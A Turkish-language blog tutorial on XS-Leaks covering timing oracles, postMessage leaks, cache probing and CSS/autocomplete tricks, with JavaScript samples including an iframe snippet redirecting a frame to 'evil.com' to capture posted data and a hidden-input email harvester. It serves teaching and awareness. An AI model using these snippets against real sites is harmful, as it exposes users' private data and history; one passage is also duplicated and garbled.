XS-Leaks nedir? Yenir mi?

ahsen
6 min readDec 30, 2022

--

Selamlar, uzunca bir süredir bu tarafları boş bıraktım tekrardan güzel bir konu ile karşınızdayım. Bugün sizlere XS-Leaks hakkında bilgiler vereceğim. O halde başlayalım.

XS-Leaks Nedir?

XS-Leaks saldırısı, bir saldırganın bir web uygulamasında server-side-channel’ları hedef alan, kötü amaçlı web uygulamalarının diğer web uygulamaların kullanıcılarından hassas bilgileri ortaya çıkarmasıdır.

XS-Leak saldırıları, kullanıcı verilerini anlamak için yanıt sürelerini ve diğer faktörleri analiz ederek web güvenlik kontrollerini atlatmaya çalışır.

Tarayıcılar, farklı web uygulamaları arasındaki etkileşimleri desteklemek için özellikler barındırır. Örneğin, bir web uygulamasının alt kaynakları yüklemesine, başka bir uygulamaya mesaj göndermesine vs olanak sağlar.

Bu tür özellikler genellikle web uygulamalarında same-origin-policy (SOP) tarafından kontrol edilirken, XS-Leaks, web uygulamaları arasındaki etkileşimler sırasında açığa çıkan bilgilerden yararlanırlar.

XS-Leaks, uzun süredir web uygulamalarının bir parçası olmakla beraber, bu saldırı methodu en az 2000 yılından beri bilinmekte.

2007 yılında Stanford Üniversitesi’ndeki araştırma görevlileri HTTP istek yanıtlarına verilen süreyi analiz ederek kullanıcılar üzerinden bilgi edinmenin mümkün olduğu ile bir yazı yayımladılar.

2 sene sonrasında araştırmacı Chris Evans başka bir web uygulamasında bir kullanıcının oturum açıp açmadığını anlamak için bir websitesinin yanıt süresinden anlaşılabilir olduğu ile ilgili açıklamalar yaptı. Ve böylece XS-Search ortaya çıktı.

Cross-domain Search Timing

Saldırgan domainler arası HTTP GET isteklerinde bulunurlar ve bu istekler sonucu dönen yanıtı zamanlarlar. Bu zamanlamalar oldukça önemlidir çünkü bunlardan yola çıkarak uygulamada neler olup bittiği hakkında bilgi edinilebilir. same-origin-policy saldırganın sunucudan dönen yanıtları doğrudan okumasını engeller. Ama saldırganın sunucular arası yaptığı isteklere dönen yanıtların zamanlamasını engellemez.

GET istekleri için bir saldırgan örneğin “img” etiketini “onload() / onerror()” javascript komutlarıyla bağlantılı olarak kullanabilir.

POST istekleri için ise “iframe” için “onload()” fonksiyonundan yararlanabilir.

Normal bir tarayıcı uygulamalar arasında bu istekleri gerçekleştirip, isteklere verilen yanıtların zamanlamasını engelleyen bir şey yoktur.

XS-Leaks saldırıları kullanılırken genelde bilgi parçaları 2 şekildedir ve “oracles” olarak adlanırılır. Bu parçalar evet veya hayır şeklindedir.

Bu zamanlamalar hassas bilgiler sızdırabiliyor demiştik örneğin, bir kurbanın bir e-posta servisinde oturum açtığını varsayalım. Saldırgan kurbanın e-posta kutusunda arama yapabilir, saldırgan yanıtları görmez iken yanıtların zamanlamasına bağlı olarak e-postayı kime gönderdiği, ne zaman gönderdiği ile ilgili evet/hayır şeklinde sorular ile cevap alınabilir. Tabi saldırganın doğru sorular sorarak daha fazla ortaya çıkarabileceği başka senaryolar da mevcuttur. Mesela kullanıcının e-postalarında ‘secret, parola vb’ keywordler geçiyor mu?

Başka bir örnek ile açıklarsak:

bank.com’un kullanıcıların makbuzları ile ilgili bir endpointi olduğunu varsayalım. evil.com, bank.com’un /api/v1/makbuz?query=”yemek” endpointin’e şu şekilde legit bir istek attığını düşünürsek. Bu işlemde tarayıcı kaynakları yüklerken tanımlama bilgilerini ekler. Bu nedenle bank.com’a yapılan istek kullanıcının kimlik bilgilerini taşır.

Kullanıcı yakın zamanda yemek satın aldıysa, HTTP 200 döndüğünü düşünürsek başarıyla yüklenir. Kullanıcı yemek almadı ise 404 status kodu ile yüklenmez. Hata üretilmeye çalışarak saldırgan hata olayını tetikler, bu error olaylarını dinleyerek ve bu yaklaşımı farklı sorgularla tekrarlayarak kullanıcının işlem geçmişi hakkında önemli miktarda bilgi çıkarabilir.

Yukarıda verdiğim örnekte saldırgan herhangi bir zafiyetten yararlanmadı fakat yine de kullanıcının hassas bilgileri üzerinde bilgi sahibi oldu.

Şimdi sizlere XS-Leaks ile kullanılabilen attack yöntemlerinden bahsedeyim.

Attack based

Tarayıcı bir kaynak için istek gönderdiğinde, sunucu aldığı isteği işler ver yanıt döner (200 OK veya 404 Not found vb).

Tarayıcı yanıtı alır ve buna bağlı olarak uygun bir js olayı tetiklenir. Bu şekilde kaynakları yüklemeyi deneyebilir, yanıt durumuna göre oturum açmış kullanıcı olup olmadıkları anlaşılabilir. Örneğin:

function checkId(id) {
const script = document.createElement('script');
script.src = `https://example.com/api/users/${id}`;
script.onload = () => {
console.log(`Logged user id: ${id}`);
};
document.body.appendChild(script);
}

// Generate array [0, 1, ..., 40]
const ids = Array(41)
.fill()
.map((_, i) => i + 0);

for (const id of ids) {
checkId(id);
}

2 adet report bırakıyorum incelemek isteyenler için:

PostMessage Attack

Web uygulamaları, diğer kaynaklarla bilgi paylaşmak için genellikle postMessage API kullanırlar, bu kullanım iki tür XS-Leak sızıntısına yol açabilir.

Güvenilmeyen kaynaklarla hassas mesajların paylaşılması

postMessage API, hangi kaynakların mesajı alabileceğini kısıtlamak için kullanılabilecek bir targetOrigin parametresini barındırır. Mesaj hassas bir bilgi içeriyorsa, bu parametre kesinlikle kullanılmalıdır.

İçeriğe veya broadcast’e dayalı olarak bilgi sızdırma

Diğer XS-Leak attacklarına benzer şekilde, bir oracle oluşturmak için kullanılabilir. Örneğin, bir web uygulaması yalnızca belirli bir kullanıcı adına sahip bir kullanıcı var ise “Sayfa Yüklendi” diyerek bir postMessage yayını gönderirse, bu bilgi sızdırmak için kullanılabilir.

iframe location değiştirerek postMessage bilgi sızdırma

Örneğin, bank.com’da iframe olarak test.com var ve bank.com’da X-Frame başlığı yoksa, saldırgan test.com’u evil.com olarak değiştirebilir.

Bu özellikle postMessage kullanımı için biçilmiş kaftandır. Çünkü bir sayfa windowRef.postmessage(“”, “*”) gibi bir kullanım ile hassas veriler gönderiyorsa, ilgili iframe’in location’ı saldırganların kontrol ettiği bir konuma değiştirmek ve bu verileri çalmak mümkündür

Basit bir örnek ile

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
// pseudo kod
setTimeout(function(){ exp(); }, 6000);

function exp(){
// Etkilenen iframe'in ne zaman oluşturulduğu net olmadığı için
// bunu her 0,1 saniyede bir değiştirmeniz gerekiyor
setInterval(function(){
window.frames[0].frame[0][2].location="https://evil.com/exploit.html";
}, 100);
}
</script>
</html>

Attacks using browser cache

Bu saldırı methodu bir kaynağın tarayıcı tarafından önbelleğe alınıp alınmadığını tespit eder. Kullanıcı bir web sitesini ziyaret ettiğinde, resimler, komut dosyaları ve HTML içeriği gibi bazı kaynaklar tarayıcı tarafından getirilir ve daha sonra önbelleğe alınır. Böylece tarayıcı tekrar bu kaynakları istemek yerine bellekten getirir ve performans açısından kullanışlı olur. Saldırgan hangi kaynakların önbelleğe alındığını tespit ederse, bu bilgi ile kullanıcının geçmişte belirli bir sayfaya erişip erişmediğini tespit edebilir. Attacker Network-Timing XS-Leak methodu ile cache’den gelen veya ağ üzerinden gelen yanıtlar üzerinden farkı anlayabilir.

    // Threshold bir kaynağın sunucudan yüklendiğini düşündüğümüz süre değeri
// const THRESHOLD = ...

const adminImagePerfEntry = window.performance
.getEntries()
.filter((entry) => entry.name.endsWith('admin.svg'));

if (adminImagePerfEntry.duration < THRESHOLD) {
console.log("Dosya cache'den yüklendi!")
}

Bu senaryoda saldırgan sadece yönetici rolüne sahip kullanıcıların erişebildiği bir kaynağı hedef alarak saldırı methodunu gerçekleştiriyor.

CSS Tricks

CSS, ile görsel değişiklikler yaparak bir kullanıcıyı kandırarak gömülü piksel değerleri gibi bilgileri göstermesi için kullanılabilir.

CSS ile :visited kullanarak ziyaret edilen URL’ler için farklı stiller verilebiliyor. Önceden bu farkı saptamak için getComutedStyle() kullanmak mümkündü fakat şimdi tarayıcılar, sanki bağlantı ziyaret edilmiş gibi her zaman değerleri döndürerek ve seçici kullanılarak hangi stillerin uygulanabileceğini sınırlayarak bunu engelliyor. 1
Bu nedenle, kullanıcıyı CSS’nin etkilediği bir alanı tıklaması için kandırmak gerekebilirağlantı ziyaret edilmiş gibi her zaman değerleri döndürererek ve hangi stillerin uygulanabileceğini sınırlayarak bunu engelliyor. Bu nedenle kullanıcıyı CSS’in etkilediği bir alanı tıklaması için kandırmak gerekebilir. Çok basit bir hile ile göstereyim.

let input = document.createElement("input");
input.type = "email";
input.autocomplete = "email";
input.name = "email";
input.size = "1";
input.style = "position:absolute;right:-500px;bottom:-21.9px";
input.onkeypress = e => {
e.preventDefault();
}
window.onmousedown = e => {
// ignore mouse clicks
e.preventDefault();
}
input.onchange = e => {
alert(e.srcElement.value);
e.srcElement.value = "";
}
document.body.appendChild(input);
setInterval(() => {
input.focus({preventScroll: true});
}, 1000);

Bir websitesi kullanıcı girişi alıyor ve autocomplete açık ise e-posta vb bilgilerinin de sızdırılması mümkündür. Javascript ile çok basit bir metin girişi kodu yazıp kullanıcı arayüzünde kullanıcı ok tuşları ile yukarı aşağı hareket ettirecek şekilde kandırıp auto-complete özelliğinden yararlanarak, kullanıcının bilgileri sayfaya eklenebilir. XFO, içerik gösterilmediği için görsel bir fark olmadığı için embedlerin saldırıya uğramasını engeller. Tarayıcı geçmişini devre dışı bırakarak veya Firefox’ta ise about:config panelinde layout.css.visited_links_enabled seçeneğini false olarak ayarlayarak korunabilirsiniz.

--

--